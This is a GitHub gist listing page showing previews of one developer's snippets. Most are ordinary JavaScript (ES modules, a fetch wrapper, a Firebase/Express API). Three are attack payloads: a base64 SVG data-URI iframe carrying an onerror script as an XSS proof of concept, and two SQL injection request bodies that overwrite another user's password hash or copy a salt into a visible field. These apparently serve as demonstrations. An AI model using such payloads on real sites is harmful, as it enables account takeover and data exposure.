Skip to content

Instantly share code, notes, and snippets.

David Gilbertson davidgilbertson

  • Sydney, Australia
Block or report user

Report or block davidgilbertson

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@davidgilbertson
davidgilbertson / index.html
Last active Jan 19, 2020
ES Modules in the browser
View index.html
<!DOCTYPE html>
<html>
<body>
<div id="app"></div>
<script type="module" src="index.mjs"></script>
</body>
</html>
View loadBookProgress.js
import cab from './cab.js'; // the file from above
const getOrCreateProgressData = async () => {
// Get the ID from the URL
const url = new URL(document.location);
const existingId = url.searchParams.get('id');
// If there was an ID, fetch the associated data
if (existingId) {
const readResponse = await cab.read(existingId);
View cab.js
const fetchJson = (url, opts = {}) => fetch(url, {
method: opts.method,
headers: {'Content-Type': 'application/json'},
body: opts.body && JSON.stringify(opts.body),
}).then(res => res.json());
export default {
create: body => fetchJson(API_URL, {
method: 'POST',
body,
View database.js
const functions = require('firebase-functions');
const admin = require('firebase-admin');
const uuid = require('uuid/v4');
admin.initializeApp(functions.config().firebase);
const collection = admin.firestore().collection('all');
module.exports = {
async create(data) {
const id = uuid();
View cabCloudFunction.js
const functions = require('firebase-functions');
const app = require('./app');
exports.api = functions.https.onRequest(app);
View app.js
const express = require('express');
const database = require('./database');
const app = express();
app.post('/', async (req, res) => {
const id = await database.create(req.body);
res.json({id});
});
View async-parallel-and-sequential.js
console.clear();
(async () => {
const list = ['one', 'two', 'three'];
const doSlowly = msg => new Promise(resolve => {
setTimeout(() => {
resolve(`Processed ${msg}`);
}, 100);
});
View iframe-with-xss
<iframe src="data:image/svg+xml;base64,CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgPGNpcmNsZSByPSIxMCIgY3g9IjEwIiBjeT0iMTAiIGZpbGw9ImdyZWVuIi8+CiAgPGltYWdlIGhyZWY9IngiIG9uZXJyb3I9ImphdmFzY3JpcHQ6Y29uc29sZS5sb2coJ1NVQ0NFU1M6IFNWRyBYU1MgdmlhIGRhdGEgVVJJJykiIC8+Cjwvc3ZnPg=="></iframe>
View 10.js
{
// ...
body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #`
}
View 9.js
{
// ...
body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #`
}
You can’t perform that action at this time.